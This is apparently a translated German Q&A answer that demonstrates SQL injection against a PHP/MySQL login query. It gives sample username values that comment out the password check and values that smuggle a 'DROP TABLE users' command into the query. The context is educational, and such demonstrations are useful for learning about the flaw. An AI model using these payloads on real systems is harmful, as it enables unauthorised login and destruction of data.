Mysql
 sql >> Datenbank >  >> RDS >> Mysql

Wie demonstriert man SQL Injection in diesem PHP- und MySQL-Code?

So etwas sollte reichen:

  1. Um sich als Benutzer "foo" anzumelden, setzen Sie den Benutzernamen auf "foo' -- "

Dadurch sieht Ihre Abfrage wie folgt aus:

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

Das "--" bedeutet, dass der Rest der Zeile auskommentiert ist

  1. Nicht sicher, ob das funktioniert, aber versuchen Sie, den Benutzernamen auf "foo' OR (DROP TABLE users) -- "
  2. zu setzen

Dadurch sieht Ihre Abfrage folgendermaßen aus:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

könnte das aber nicht akzeptieren - ich denke Unterabfragen können nur SELECT.

Die mysql_query-Funktion führt nur eine Abfrage aus - andere würden Ihnen dies erlauben:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''");